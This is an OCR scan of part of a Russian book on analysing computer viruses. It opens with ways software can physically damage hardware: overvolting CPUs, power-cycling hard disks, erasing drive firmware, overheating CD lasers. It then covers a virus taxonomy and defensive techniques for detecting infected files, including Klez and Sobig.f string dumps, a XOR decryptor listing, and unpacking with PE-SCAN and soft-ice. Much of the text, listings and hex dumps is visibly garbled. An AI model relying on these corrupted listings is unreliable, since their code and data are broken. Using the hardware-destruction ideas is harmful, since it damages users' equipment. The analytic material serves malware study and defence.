экстремального «разгона». При хорошем охлаждении умеренное увеличение питающего напряжения процессору прак- тически никак не вредит (но срок службы все-таки сокращает), однако, если «задрать» питание до максимума, процессор в считанные минуты может «ки- нуть кони» (особенно, если он установлен на штатном радиаторе). Поэтому все- гда устанавливайте радиатор с запасом или не приобретайте плат с подобными возможностями. С жесткими дисками ситуация еще хуже. Практически все они поддерживают программное включение/выключение питания, и приблизительно половина из них обнаруживает одну очень неприятную особенность: если циклически «щел- кать» выключателем питания, подгоняя момент включения так, чтобы он при- шелся на еще не полностью остановившиеся «блинчики», винчестер уже на со- той итерации в буквальном смысле слова рассыпается на запчасти! А еще многие жесткие диски допускают возможность перепрошивки или редактирования служебных таблиц, искажение которых может привести к тому, что контрол- лер винчестера наотрез откажется запускаться! И подавляющее большинство моделей оптических накопителей также подвер- жены угрозе затирания прошивки, команды записи которой, кстати говоря, стан- дартизованы, а не варьируются от одного производителя к другому, как это происходит со всеми вышеперечисленными устройствам. Проектирование тро- янской компоненты вируса при этом существенно упрощается, а масштабы по- ражения многократно возрастают. Записывающие накопители (они же «пис- ЦЬ1>> Или «резцы») в большинстве своем закладываются на импульсную работу Лазера, выжигающего последовательность точек («питов»), разделенных одним и несколькими «лендами». Зная принцип кодирования данных, можно под- °вить последовательность, практически начисто лишенную лендов и состо- Пе ,1РепмУ111естве|1|1° 113 длинных «питовых» цепочек. Существует далеко нУлевая вероятность, что при записи такого образа лазер перегреется, и либо
22 введен^ сгорит, либо (в лучшем случае) существенно ухудшит свои эксплутацпонные характеристики (подробнее об этом рассказывается в книге Криса Касперски «Техника защиты лазерных дисков»). ПРИМЕЧАНИЕ---------------------------------------------------------- Кстати говоря, многие приводы (в частности, мой PHILIPS CDRW2412, относящийся к весь- ма недешевому классу «продвинутых» приводов) механически выходят из строя при считывании оглавления некорректно «размеченного» диска. Так же могут быть «перепрограммированы» и многие другие устройства (на- пример, модемы), разрушение прошивки которых сделает их неработоспособ- ными, причем уничтожение модема осуществляется даже на минимальном уров- не привилегий. Короче говоря, современный компьютер со всей своей периферией представляет собой достаточно уязвимое устройство, легко выводимое из строя на программ- ном уровне. Отсутствие массовых «выгораний» комплектующих объясняется тем, что создатели вирусов совсем не лишены чувства со- страдания и движет ими отнюдь не жажда вселенской мести и разрушений планетарного масштаба. Если бы LoveSan или любой другой из расплодившихся в пос- леднее время вирусов хотя бы частично выводил ком- пьютеры из строя, мы с вами сейчас грелись у кост- ра, сидя на медвежьих шкурах, а компьютеры использовали в качестве декоративного украшения, напоминающего о былых временах... КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ Существует по меныпей мере два типа компьютерных вирусов — те, что вы еще не поймали, и те, которые вам еще предстоит поймать. Предложенная класси- фикация ничем не хуже любой другой, претендующей на академическую серь- езность и отточенность формулировок. Знаете, когда этот академический пре- зерватив натягиваешь на торчащую полуось вируса, раздается громкий хлопок и... в руках теоретика ничего не остается. Вирусы вообще очень неохотно подчиняются попыткам их классифицировать, образуя многочисленные межвидовые гибриды, и поэтому один и тот же вирус приходится относить к нескольким категориям сразу, в результате чего клас- сификация теряет стройность, привлекательность и смысл. В настоящей книге мы будем придерживается следующей терминологии, зара- нее оговаривая ее условность. К локальным вирусам автор относит все вирусо- подобные программы, не способные к самостоятельному распространению и поддерживающие свою жизнедеятельность исключительно за счет активно- сти пользователя, запускающего различные исполняемые объекты (на которых и паразитирует вирус), как-то: двоичные файлы, скрипты, загрузочные сектора
От издательства 23 и т .4. Вирусы, паразитирующие на файлах, называются файловыми, а вирусы, поражающие загрузочные сектора, — загрузочными. Программы, способные к самостоятельному размножению, протекающему без участия пользователя, принято называть червями. Подавляющее большинство червей — это сетевые вирусы, распространяющиеся сквозь дыры в программ- ном обеспечении и полностью автоматизирующие процесс поиска и заражения жертв, не закладываясь па человеческий фактор. Фактически черви являются высоко автономными роботами и предъявляют к своему создателю ничуть не менее жесткие требования, чем космические станции, посылаемые на Марс. Во всяком случае, дефекты проектирования червей наносят мировому сообществу урон, вполне сопоставимый со стоимостью космической станции. ВИРУСЫ Загрузочные Файловые Черви Скрипты Исполняемые Вирусы, рассылающие свое тело через почтовые вложения, классифицируются автором как обыкновенные файловые вирусы, взявшие на вооружение современ- ные коммуникационные технологии. Это — не черви. Это — детский сад на уров- не ясельной группы, когда уже умеешь вставать с горшка, но о его назначении еще не догадываешься. ОТ ИЗДАТЕЛЬСТВА Ваши замечания, предложения и вопросы отправляйте по адресу электронной почты comp@piter.com (издательство «Питер», компьютерная редакция). Мы будем рады узнать ваше мнение! Все исходные тексты, приведенные в книге, вы можете найти по адресу http:// www.piter.com/download. Подробную информацию о наших книгах вы найдете на веб-сайте издательства: http://www.piter.com.
ЧАСТЬ I ЛОКАЛЬНЫЕ ВИРУСЫ Глава 1 БОРЬБА С WINDOWS-ВИРУСАМИ — ОПЫТ КОНТРТЕРРОРИСТИЧЕСКИХ ОПЕРАЦИЙ, из которой читатель узнает, чем зараженный файл отличается от незараженного Глава 2 ВИРУСЫ В UNIX, ИЛИ ГИБЕЛЬ ТИТАНИКА II, из которой читатель узнает, что в UNIX-системах вирусы не только живут, но даже очень бурно размножаются, пожирая скрипты и демонстрируя с десяток различных способов внедрения в elf/coff/a.out файлы
Локальные вирусы образуют многочисленную и весьма устойчивую популя- цию, захватившую практически все стратегические уровни — от старушки MS- DOS, дожившей до наших дней разве что в виде эмуляторов (да и то больше по недоразумению, чем по потребности), до современных операционных систем, базирующихся на последних клопах Windows NT и UNIX. И хотя правильная политика разграничения доступа сводит активность виру- сов к разумному минимуму, хитрый вирус всегда найдет чем поживиться, и ло- кальные очаги инфекции вспыхивают даже в хорошо защищенных системах. Вирусов, уверенно функционирующих под UNIX и NT, пока немного, но с каж- дым годом их количество растет, причем чем дальше — тем стремительнее. Дей- ствительно, сначала идея приходит в голову кому-то одному — высококвали- фицированному и опытному программисту, сочетающему в себе талант разработчика с кучей свободного времени (что встречается, прямо-таки скажем, нечасто) и знающему «задний двор» операционной системы как свои пять паль- цев. Затем, по мере размножения вируса, его вылавливают десятки программи- стов с квалификацией пониже и «потрошат» ключевые алгоритмы дизассемб- лером, окультуривая ассемблерные листинги разъясняющими комментариями, доступными даже начинающим, а иногда и переводя нх на языки высокого уров- ня... Для особо тупых создаются конструкторы вирусов, полностью автомати- зирующие процесс разработки и низводящие свободный полет творческой мыс- ли до простого тыканья мышью куда попало. Даже поверхностное исследование показывает, что вирусы далеко не исчерпа- ли потенциал техники инфицирования и множество прогрессивных методов внедрения в файл все еще остаются пезадействованными и бесхозно пылятся на полке. Прежде всего это относится к UNIX-вирусам, только-только вышед- шим из стадии детского творчества, но уже активно осваивающим большой мир. Если верить прогнозам, в ближайшее время произойдет настоящий демогра- фический взрыв, увеличивающий количество UNIX-вирусов в десятки раз. Поэтому автор не только описывает алгоритмы, позаимствованные из живых вирусов, выловленных в дикой природе, но и раскрывает технологии завтраш- них дней, полученные из экспериментальных вирусов, искусственно выращен- ных в лабораторных условиях. Никогда они не выйдут па свободу, если только идея их создания не придет в голову кому пибудь другому (а в том, что она при- дет, можно не сомневаться). Поскольку книга ориентирована преимущественно на людей творческих и ду- мающих, готовые рецепты приготовления вирусов здесь и не ночевали. Вто- рым Хижняком автор становиться не собирается и ориентируется преимуще- ственно на методики внедрения в файл, а не па конкретные программные реализации. Здесь вы не найдете ни технологий полиморфизма, ни способов захвата RINGO с пользовательского уровня, ни антиотладочных или stealth-нриемов. Каждая из этих тем заслуживает отдельного разговора и отдельной книги. Может быть, как-нибудь в другой раз...
ГЛАВА 1 БОРЬБА С WINDOWS-ВИРУСАМИ — ОПЫТ КОНТРТЕРРОРИСТИЧЕСКИХ ОПЕРАЦИЙ, из которой читатель узнает, чем зараженный файл отличается от незараженного Не рой яму другому, чтобы он не использовал ее как окоп! Солдатская мудрость ЧТО НАМ ПОТРЕБУЕТСЯ? Анализ вирусного кода требует обширных знаний из различных областей про- граммирования, а также специализированного инструментария, без которого исследовательская работа рискует превратиться в орудие средневековой пыт- ки. По этому поводу вспоминается один анекдот: «Наташа, вас по точке схож- дения двух прямых веслом нс били? Ну тогда вы нас навряд ли поймете». Все это отпугивает новичков, порой даже и не пытающихся взять в руки дизас- семблерный меч, полагая, что борьба с вирусами слишком сложна для них. Однако это предположение неверно. Бесспорно, наивно надеяться на то, что искусству дизассемблирования можно научиться за одну ночь, но вот пары
что нам потребуется?27 недель упорного труда для достижения поставленной цели должно оказаться достаточно. Знание ассемблера — древнейшего языка программирования — обязательно. И одних лишь учебников в стиле «Assembler» Юрова и «Программируем на язы- ке ассемблера IBM РС» Рудакова для его освоения катастрофически недоста- точно, поскольку всякий язык познается лишь при общении «в живую». Схо- дите на любой системно-ориентированный сайт (например, www.wasm.ru) и попытайтесь ухватить суть ассемблера извне, а не изнутри. Па форумах, где дикие люди произносят непонятные слова, ругаются матом и обсуждают ре- продуктивные свойства вирусов, витает особый системный дух, делающий все сложное таким простым и понятым. В конечном счете ассемблер — это всего лишь язык, причем очень и очень про- стой. Некоторые даже сравнивают его с эсперанто — десяток команд, и вы уже можете сносно говорить. Единственная сложность состоит в том, что вирусы, в отличие от нормальных программ, содержат множество ассемблерных извра- щений, смысл которых понятен только посвященным. Для непосвященных же это — интеллектуальный вызов! Это увлекательные логические (и психологи- ческие!) головоломки; это бессонные ночи, горы распечаток, яркие озарения и ни с чем не сравнимые радости найденных вами решений! Хотя, если гово- рить честно... все уже украдено до пас, тьфу, все головоломки давным-давно разгаданы, а задачки — решены. Ресурсы глобальной сети к вашим услугам! Посетите сайт удивительного человека и исследователя программ Марка Ру- сииовича — http://www.sysinternals.com, а также отыщите его книгу «Внутреннее устройство Windows 2000». Еще вам пригодится знаменитый Interrupt List Раль- фа Брауна — хорошо структурированный справочник по портам, ячейкам па- мяти и прерываниям (включая недокументированные). Наличие последних версий Platform SDK и DDK от Microsoft и Basic Architecture/Instruction Set Reference/System Programming Guide от Intel предполагается по умолчанию. Русские переводы технической документации, заполонившие книжные мага- зины, годятся разве что для студентов, работающих над очередным рефератом, который после написания идет в /dev/null (т. е. в архив на полку). Для реаль- ной же работы они непригодны. Из инструментария вам прежде всего понадобится хороший отладчик и ди- зассемблер. Конечно, свой выбор каждый волен делать самостоятельно, но ничего лучше soft-ice от NuMega (www.numega.com) и IDA PRO от Ильфака Гуильфанова (www.idapro.com) до сих пор не придумано. Оба этих продукта относятся к классу тяжелой артиллерии и по сложности своего управления Ничуть не уступают таким софтверным монстрам, как, например, Pho- toshop или CorelDRAW! Равно как изучение интерфейса Photoshop’a не за- меняет собой освоение техники рисования, так и искусство владения отлад- чиком/дизассемблером не сводится к чтению штатной документации. Ищите в Магазинах «Отладка Windows-приложений» Джона Роббинса, «Отладчик soft-ice» Романа Айрапетяна, «Образ мышления — дизассемблер IDA» Криса Касперским «Фундаментальные основы хакерства — искусство дизассембли- рования» его же.
28 Глава 1. Борьба с windows-вирусами — опыт контртеррористических операций ИСТОЧНИКИ УГРОЗЫ По данным сайта VX.NETLUX.ORG на начало сентября 2003 года, рейтинг «попу- лярности» вирусов и троянских коней выглядел так: • I-Worm.Sobig.f • Worm.Win32.Lovesan • Worm.Win32.Welchia • I-Worm.Sobig.a • Worm.Win32.Ladex • Win32.Parite • I-Worm.FireBurn • Trojan.Win32.Filecoder • I-Worm.Mimail • I-Worm.Klez.a-h • 33.525 • Worm.P2P.Harex.a • I-Worm.Tanatos.a • TrojanProxy.Win32.Webber • MBA.First • AJ family • Worm.P2P.Tanked • Andrey.932 • Worm.Win32.Opasoft • Worm.Win32.Autorooter Все двадцать вирусов из двадцати «сильнейших» — чрезвычайно примитивные и неспособные к качественной мимикрии твари, легко обнаруживемые даже при поверхностном анализе исследуемых файлов по методикам, описанным ниже. КРИТИЧЕСКАЯ ОШИБКА В SVCHOST.EXE Если, работая под Windows 2000/Windows ХР, вы поймаете сообщение о кри- тической ошибке приложения в модуле SVCHOST.EXE и эта критическая ошибка с завидной регулярностью будет повторяться вновь и вновь, — не торопитесь переустанавливать систему, не несите ваш компьютер в ремонт! Источник ошиб- ки сидит отнюдь не в нем, а приходит к вам по сети своим шагом и имя ему — DCOM RPC bug (рис. 1.1). Небрежное тестирование операционной системы вкупе с использованием по- тенциально опасных языков программирования привело к тому, что всякий не- хороший человек получил возможность выполнять на вашей машине свой зло- вредный машинный код, управление которому передается путем нехитрого переполнения буфера. Однако современные хакеры в своей массе настолько
Мргта наиболее вероятного внедрения вирусов 29 тупы. что Дажс переполнить буфер, не уронив при этом машину, оказываются не в состоянии! I7ycho*t.exe - Ошибка приложения Искпфчете wrknowexcept<c-?> |0« e приложении сю адресу 1 ”QK'‘ - завершение фмложввия "Отмена" г отладке приложения рис. 1.1. Это — не признак нестабильности системы. Это — признак вирусной атаки! Если нажать ОК — перестанет работать буфер обмена и некоторые другие функции системы, если нажать Отмена — запустится отладчик (если он у вас есть) и система полностью встанет. Если же не делать ни того, ни другого — система успешно продолжит свою работу... Немедленно кликните мышью па Windows Update и скачайте все критические обновления, которые вы по своей лени не скачали до сих пор! Поймите же, на- конец, что антивирусы против этой беды вам все равно не помогут, поскольку осуществляют лечение пост-фактум, когда зачастую лечить уже нечего... На худой конец, закройте 135-й порт — тогда вирусы и троянские кони не смогут распространяться. Подробнее об этом рассказывается в разделе, посвященном червям и методам борьбы с ними. МЕСТА НАИБОЛЕЕ ВЕРОЯТНОГО ВНЕДРЕНИЯ ВИРУСОВ Объектом вирусного поражения могут выступать исполняемые файлы (дина- мические библиотеки, компоненты ActiveX, плагины), драйверы, командные файлы операционной системы (bat, cmd), загрузочные сектора (MBR и BOOT), оперативная память, файлы сценариев (Visual Basic Script, Java Script), файлы Документов (Microsoft Word, Microsoft Excel) и... и это далеко не все! Фанта- зия создателей вирусов поистине безгранична, и потому угрозы следует ожи- дать со всех сторон. Поскольку охватить все вышеперечисленные типы объектов в рамках «Запи- сок...» не представляется сколь-нибудь разрешимой задачей, автор остановил свои выбор иа самых интересных вирусоносителях — на исполняемых файлах. о-нервых, вирусы, поражающие исполняемые файлы (а также троянские про- ’рзммы, распространяющиеся через них же), лидируют по численности среди Вс'ех остальных типов вирусов вообще. Во-вторых, методология анализа new- ехе файлов на предмет их заражения не в пример скудно освещена. В-третьих, Тема дизассемблирования достаточно интересна и сама по себе. Для многих она слУЖит источником творческого вдохновения да и просто хорошим средством
30 Глава 1. Борьба с windows-вирусами — опыт контртеррористических времяпрепровождения. Так что не будем мешкать и совершим наш рецщт ный марш-бросок, снося всех вирусов, встретившихся на нашем пути! Ль' ОСНОВНЫЕ ПРИЗНАКИ ВИРУСНОГО ВНЕДРЕНИЯ Единственным гарантированным способом выяснения, относится ли дапну файл к «плохим» файлам или нет, является его полное дизассемблирование Ц скрою, дизассемблирование — крайне кропотливая работа и на глубокую 1 конструкцию программы размером в пять-десять мегабайт могут уйти годы ссщ не десятки человеко-лет! Чудовищные трудозатраты делают такой способ авд лиза чрезвычайно непривлекательным и бесперспективным. Давайте лучше отталкиваться от того, что подавляющее большинство вирусов и троянских коней имеют ряд характерных черт, своеобразных «родимых пятен», отлича- ющих их от всякой «нормальной» программы. Надежность таких «индикато- ров» зараженности существенно ниже, и определенный процент зловредных программ при этом останется незамеченным, ио... как говорится, на безрыбье и слона из мухи сделаешь! Количество всевозможных «родимых пятен», прямо или косвенно указывающих на зараженность файла, весьма велико, и ниже перечислены лишь наиболее ха- рактерные из них. Но даже они позволяют обнаружить до 4/5 всех существую- щих вирусов, а по некоторым оценкам и более того (по крайней мере, все «лау- реаты» вирусного ТОР-20 -- обнаруживаются). ТЕКСТОВЫЕ СТРОКИ Прежде чем приступать к тотальному дизассемблированию исследуемого c|>aii- ла, нелишне пролистать его дамп на предмет выявления потенциально неоезо- пасных текстовых строк, к которым, в частности, относятся команды SMTP-сф вера и командного интерпретатора операционной системы (HEL0/MA1L FROM/MAIL TO/RCPT ТО и DEL/COPY/RD/RMDIRcootbctctbchho).^- вей автозапуска реестра (RunServices, Run, RunOnce), агрессивные лозунг и высказывания («легализуем марихуану», «сам дурак») и т. д. Конечно, все это еще не свидетельствует о наличии вируса (троянской npoi РаМ мы), а отсутствие компрометирующих программу текстовых строк не гараи рует ее лояльности, но... просто поразительно, какое количество сов1’емС1^пЬ. вирусов ловится таким элементарным способом. Не иначе как снижение туры программирования дает о себе знать! Действительно, подавляющее шинство современных программ (и вирусов в том числе) разрабатывав языках высокого уровня, и программисты не дают себе никакого труда то скрыть «уши», торчащие из секции данных (не знают, как это сделать, л компилированная программа просто шифруется статическими упаковиШ^ ^.с которые легко поддаются автоматической/полуавтоматической Распа*а цо- выдавая исследователю исходный дамп со всеми текстовыми строкам” а. верхности (см. раздел «Идентификация упаковщика и автоматически” Р‘ ковка»).
31 Uorra наиболее вероятного внедрения вирусов ~__________—-- ‘ —-------------------------- Ниже в качестве примера приведен фрагмент вируса I-Worm.Kiliez.e, на малоиз- вестность которого жаловаться не приходится (Вах! Как трудно взглянуть на дамп того, что вы запускаете!) (листинг 1.1). Текстовые строки, содержащиеся теле I-Worm.Kiliez.e, выдают агрессивные намерения последнего с головой! Листинг 1.1- Фрагмент вируса I-Worm.Kilez.e data:0040Е048 aQutr db ’QUIT'.ODb.OAh.C data:0040E05C db '.ODb.OAh.O data:0040E058 aData db 'DATA '.ODh.OAh.O data:0040E060 aHeloS db 'HELD «s'.ODh.CAh.O data:0040E06C asc_40 db '>.ODh.OAb.O data:0040E070 aMailFrom db 'MAIL FROM: <'.0 data:0040E080 aRcptTo db RCPT T0:<'.0 data:0040F244 aSoftwareMicros db 'Software\MicrosoFt\Windows\CurreritVersion\' .0 data:0040F279 aRun db 'Run'.0 data:0040F27D aRunonce db 'RunOnce'.0 data:0040F285 aSystemCurrentc db 'SystemXCurrentControlSetVServices'. 0 data:0040F2A7 aSoftwareMicrJ) db 'Software\Microsoft\WAB\WAB4\kJab File Name'.O data:0C40F2Dl aRunservices db 'RunServices'.0 data-.0040F2DD alnternetSettin db 'Internet Settings\Cache\Paths'.0 data :0040F302 aHi db 'Hi.'.O data:0040F306 aHello db 'Hello.'.0 data:0040F30D aRe db ’Re:'.O data:004QF311 aFw db 'Fwi'.O data: 0040F315 aUndel 1 verabl eM db 'Undeliverable nail-"«s"'.0 data: 0040F32E aReturnedMa i1S db 'Returned mail-“«s'”.O ИДЕНТИФИКАЦИЯ УПАКОВЩИКА И АВТОМАТИЧЕСКАЯ РАСПАКОВКА Упаковка исполняемых файлов «навесными» упаковщиками была широко рас- пространена еще во времена господства MS-DOS и преследовала собой следу- ющие цели: Уменьшение размеров программы на диске; сокрытие текстовых строк от посторонних глаз; 3атРУДнение анализа программы; *ослепление» сигнатурного поиска. УПа! Н°Следпих пункта стоит отметить особо. Напрямую дизассемблировать ся с Ванную программу нельзя. Прежде исследователю предстоит разобрать- иУГ1аков111ИК°м, зачастую основанным па весьма нетривиальном алгорит- чиК0£0ЛеРЖап1им большое количество разнообразных приемов против отлад- (нац И/,ИЛ11 Дизассемблеров. Также существуют и полиморфные упаковщики генерирующие машинный род распаковщика на «лету» ^ИМи 1°,ДИе зашифрованные экземпляры одной и той же программы не похо- Д₽уг на друга.
32 Глава 1. Борьба с windows-вирусами — опыт контртеррористических операций — --------------------- .— Для борьбы с упаковщиками было создано большое количество автоматиче- ских распаковщиков, работающих по принципу трассировки исполняемого кода и отслеживания момента передачи управления на оригинальный код. Для борь- бы с антиотладочными приемами использовалась технология эмуляции про- цессора, обхитрить которую было не так-то просто, хотя все-таки возможно, ц0 на этот случай в некоторых из распаковщиков был предусмотрен режим руч- ной распаковки, в котором распаковывалось все, что только было можно распа- ковать. С переходом на Windows многое изменилось. Количество упаковщиков резко возросло, но ни одного универсального распаковщика до сих пор так и не по- явилось, а потому анализ упакованных файлов представляет собой одну из ак- туальнейших проблем современной антивирусной индустрии. ПРИМЕЧАНИЕ----------------------------------------------------------- Если при дизассемблировании исследуемого файла большую часть исполняемого кода дизассемблер представил в виде дампа или выдал на выходе бессмысленный мусор (не- верные опокоды команд, обращения к портам ввода/вывода, привилегированные ко- манды, несуществующие смещения и т. д.), то файл, скорее всего, упакован и/или за- шифрован. Зачастую расшифровщик крайне примитивен и состоит из десятка-другого ма- шинных команд, смысл которых понятен с первого взгляда. В таком случае рас- паковать файл можно и самостоятельно. Для этого вам даже не придется выхо- дить из дизассемблера — всю работу можно выполнить и па встроенном языке (если, конечно, ваш дизассемблер поддерживает такой язык). Для расшифров- ки простейших «ксорок» хорошо подходит HIEW, азадачи посложнее реша- ются с помощью IDA (листинг 1.2). Подробное изложение методики расшиф- ровки исполняемых файлов вы найдете в книге Криса Касперски «Образ мышления — дизассемблер IDA». Листинг 1.2. Пример типичного «ксорного» расшифровщика с комментариями .text:004010DA loc_4010DA: text:004010DA mov text:004010DE xor text:004010Е1 mov text:004010E5 inc text:004010E6 crop text:004010E8 jl .text:004010ЕА 1оС_4010ЕА: dl. [esp+ecx+0Ch] dl. 66h [esp+ecx+OCh], dl ecx ecx. eax short loc_4010DA ; CODE XREF: sub_401090+58-l-j : загрузить в OL след, байт : расшифровать по XOR 66h : положить на место : увеличить счетчик на единицу : еще есть что расшифровывать? : „если да. то мотаем цикл CODE XREF: sub_401C90+48Tj Если же код расшифровщика по своей дремучести напоминает непроходимый таежный лес, у исследователя есть все основания считать, что подопытная про* грамма упакована одним из навесных упаковщиков, к которым, в частности, при- надлежат ASPack, UPX, NeoLite п другие. Отождествить конкретный упаков- щик при наличии достаточного опыта можно и самостоятельно (даже полиморфные упаковщики легко распознаются визуально, стоит только столк- нуться с ними три-пять раз кряду), а во всех остальных случаях вам помогу1
33 Места наиболее вероятного внедрения вирусов гениальные сканеры, самым известным (и мощным!) из которых является бес- платно распространяемый PE-SCAN (http://k-line.cjb.net/tools/pe-scan.zip). Давай- те возьмем файл с вирусом Worm.Win32.Lovesan (также известный под именем MSblast) и «натравим» на него РЕ-SCAN (рис. L2). Сканер тут же сообщит, что вирус упакован упаковщиком UPX, который можно скачать с сервера upx.sour- ceforge.net, а при нажатии на кнопку ОЕР определит и адрес оригинальной точ- ки входа в файл (в данном случае она равна HCBh). Ну, коль скоро мы знаем имя упаковщика, найти готовый распаковщик не составит больших проблем («UPX» + «unpack» в любом поисковике)1. Вместе с тем. знание оригинальной точки входа в файл позволяет установить на этот адрес точку останова, и тогда в момент передачи управления только что распакованному файлу отладчик не- медленно отреагирует. ВНИМАНИЕ---------------------------------------------------------------------------- Установка программной точки останова с кодом CCh в подавляющем большинстве слу- чаев приведет к краху распаковщика, для предотвращения которого следует воспользо- ваться аппаратными точками останова; за подробностями обращайтесь к руководству пользователя вашего отладчика, в частности, в soft-ice установка аппаратной точки оста- нова осуществляется командой ВРИ адрес X. Рис. 1.2. РЕ-SCAN в действии А как быть, если РЕ-SCAN не сможет определить оригинальную точку входа или ни один из найденных вами распаковщиков не справляется с данным фай- лом? Если исследуемый файл хотя бы однократно запускался (то есть ваша Машина уже потенциально заражена), можно взять procdump (http://proc- dump32.cjb.net) и, запустив распаковываемый файл еще раз, снятье него пол- ный дамп памяти (task ► имя процесса ► dump fill). Конечно, чтобы полученный Дамп превратился в полноценный PE-файл, над ним придется как следует поработать, но для дизассемблирования сойдет и так. Шансы распаковать файл без его запуска средствами procdump относительно невелики, да и качество Распаковки оставляет желать лучшего. Зачастую распакованный файл не при- годен даже для дизассемблирования, не то что запуска! 1 Упаковщик UNPX также содержит в себе и распаковщик, хотя это скорее исключение, чем Правило.
34 Глава 1. Борьба с windows-вирусами — опыт контртеррористических операций На худой конец, можно попробовать перехватить передачу управления распа- кованному коду, просто поставив на соответствующие API-функции точки оста- нова. При определенных навыках работы с двоичным кодом мы имеем все шац. сы осуществить такой перехват еще до того, как вирус успеет внедриться в систему или что-то испортить в ней. Однако никаких гарантий на этот счет у нас нет, и вирус в любой момент может вырваться из-под контроля, поэтому исследования такого рода лучше всего проводить на отдельной машине или под любым симпатичным вам эмулятором PC. Вызываем soft-ice и устанавливаем точки останова на все потенциально опас- ные функции, а также все те функции, которые обычно присутствуют в старто- вом коде (см. далее раздел «Стартовый код»). Если вирус написан па языке высокого уровня, мы перехватим управление еще до начала выполнения функ- ции main. В противном случае отладчик всплывет при первой попытке выпол- нения потенциально опасной функции. Отладчики, устанавливающие глобальные точки останова (и soft-ice в их чис- ле), всплывают независимо от того, какое приложение их вызывает. Поэтому всегда обращайте внимание на правый нижний угол экрана, в котором soft-ice выводит имя процесса, «потревожившего» отладчик, и, если это не исследуе- мый вами процесс, а что-то еще, вы можете смело покинуть отладчик, дожида- ясь его очередного всплытия (табл. 1.1). Таблица 1.1. Функции, помогающие перехватить управление у распакованного вирусного кода Основные функции стартового кода Основные потенциально опасные функции GetVersion CreateFileA GetVersionExA RegOpenKeyA GetCommandLineA RegOpenKeyExA GetModuleHandlеА LoadLibraryA GetStartupInfoA FindFirstFileA SetUnhandledExcept1onF11ter FindFirstFileExA Давайте продемонстрируем технику ручной распаковки на примере анализа ви- руса I-Worm.Sobig.f. РЕ-SCAN показывает, что он упакован полиморфным упа- ковщиком TeLock 0.98 (http://egoiste.cjb.net/). Однако найти готовый распаков- щик в Интернете для этой версии упаковщика не удается (те, что есть, или не распаковывают файл совсем, или распаковывают его неправильно, хотя к мо- менту выхода книги в свет ситуация может и исправиться). Пошаговая трасси- ровка распаковщика (равно как и попытки анализа алгоритма распаковки) за- водят нас в никуда, ибо код оказывается слишком сложен для начинающих (а вот опытные программисты получают от-его реконструкции настоящее удо- вольствие, ибо упаковщик весьма неплох, только при испльзовании айса имей- те в виду, что, во-первых, вам потребуется падч IceExt, меняющий DLP INT’a 1 с 3 па 0, а во-вторых, ставить точки останова надо с большой осторожностью.
Места наиболее вероятного внедрения вирусов_______________________________35 так как tElock активно использует отладочные регистры для своих целей, мо- дифицируя их через контекст исключения). Просмотр дампа в НЕХ-редакторе также не показывает ничего подозрительного. Туник... А теперь на сцену выходит пат прием с контрольными точками — и исследуе- мая программа тотчас ловится на GetModuleHandlеА и CreateFIleA. На момент вы- зова последней весь код и все данные зараженного файла уже полностью рас- пакованы н просмотр содержимого сегмента данных немедленно разоблачает вирус по агрессивным текстовым строкам (листинг 1.3). Листинг 1.3. Распакованный вручную I-Worm.Sobig.f сразу же выдает агрессивность своих намерений характерными текстовыми строками 0016:00419561 62 6С 65 03 0-3 00 00 62-61 001В:00419571 4D 54 50 00 03 00 00 74-63 001В:00419581 70 6С 61 69 6Е 00 00 69-73 0018:00419591 31 00 00 51 55 49 54 0D-0A 001В:004195А1 25 73 0D ЗА 00 30 00 Ь0-61 001В:004195В1 00 00 00 55 73 65 72 6Е-61 0016:30419501 55 54 48 20 4С 4F 47 49 4Ь 0018:00419501 41 49 40 20 46 52 4F 4D-3A 9018:00419511 00 00 00 52 43 50 54 20-54 •Э01В: 00419BD1 00 00 00 24 50 00 00 53-4F 001В:004193Е1 40 69 63 72 61 /3 61 66-74 001В:004193F1 73 50 43 75 72 72 65 6Е-74 001В-.00419С01 50 52 75 6Е 03 00 00 2С-2Г 001В:00419011 62 78 СО 68 60 70 00 60-68 73 65 36 34 00 00 53 Ые... ,base64. .S 70 00 74 65 78 74 2F МТР. .tcp.text/ 6F 20 38 38 35 39 20 plain..iso-8859- 00 00 45 48 40 4F 20 1..QUIT.. EHLO 73 73 77 6F 72 64 ЗА .......Password: 60 65 ЗА 00 00 00 41 ...Username: ..A 0D 0A 00 00 00 00 40 UTH LOGIN......M 20 30 25 73 3E 0D 0A AIL FROM: 4F ЗА 20 3C 25 73 3E ...RCPI Г0: <2s> 46 54 57 41 52-45 5C ... $\. .SCHWAREX 50 57 69 61 64 61 77 MicroSOftXWindOw 56 65 /2 73 69 6F 6F sXCurrentVersion 73 69 6F 63 00 00 64 XRun... /sinc..d 74 00 77 61 62 00 68 bx.hlp.mht.wab.h СТАРТОВЫЙ КОД Вдевяностых годах двадцатого века, когда вирусы создавались преимуществен- но на ассемблере и писались преимущественно профессионалами, а коммерче- ские программисты в своем подавляющем большинстве полностью отказались от ассемблера и перешли на языки высокого уровня, для разработчиков анти- вирусов наступили золотые дни, ибо распознать зараженный файл обычно уда- валось с первого взгляда. Действительно, любая нормально откомпилирован- ная программа начинается с так называемого стартовою кода (Start-Up code), который легко распознать визуально (стартовый код, как правило, начинается с вызова функций GetVersion, GetModuleHandlеА и т. д.). Дизассемблер IDA авто- матически идентифицирует стартовый код по обширной библиотеке сигнатур, выдавая тип и версию компилятора. ПРИМЕЧАНИЕ---------------------------------------------------------- Ассемблерные программы стартового кода лишены и потому, когда ассемблерный вирус внедряется в программу, написанную на языке высокого уровня, стартовый код отодви- гается как бы «вглубь» файла, демаскируя тем самым факт своего заражения. Сегодня, когда ассемблерные вирусы становятся музейной редкостью, такой способ распознава- ния мало-помалу перестает работать, однако до полного списывания в утиль дело еще Далеко.
36 Глава 1. Борьба с windows-вирусами — опыт контртеррористических операци^ Вообще-то никаких формальных признаков «нормального» start-up’a не суще ствует и всяк разработчик волен реализовывать его по-своему. Однако свой соб ствепный start-up цепляет к программе только извращенец. Обычные uporpaj, мисты для этих целей используют библиотечный стартовый код, поставляемый вместе с компилятором, зачастую даже и не подозревая о его существование Несмотря на то что даже в рамках одпого-единственного компилятора суще- ствует множество разновидностей стартового кода, все они легко узнаваемы и факт отсутствия стартового кода надежно обнаруживается даже самыми на- чинающими из исследователей! Приблизительная структура типичного стартового кода такова: сначала идет пролог, затем настройка обработчика структурных исключений (для C++ про- грамм), обнаруживающая себя по обращению к сегментному регистру FS. За- тем следует вызов функций GetVersion (GetVersionEx), GetModul eHandl еД и GetStartupInfoA. Подробнее об идентификации стартового кода можно прочи- тать в книге Криса Касперски «Фундаментальные основы хакерства» пли в «Hacker Disassembling 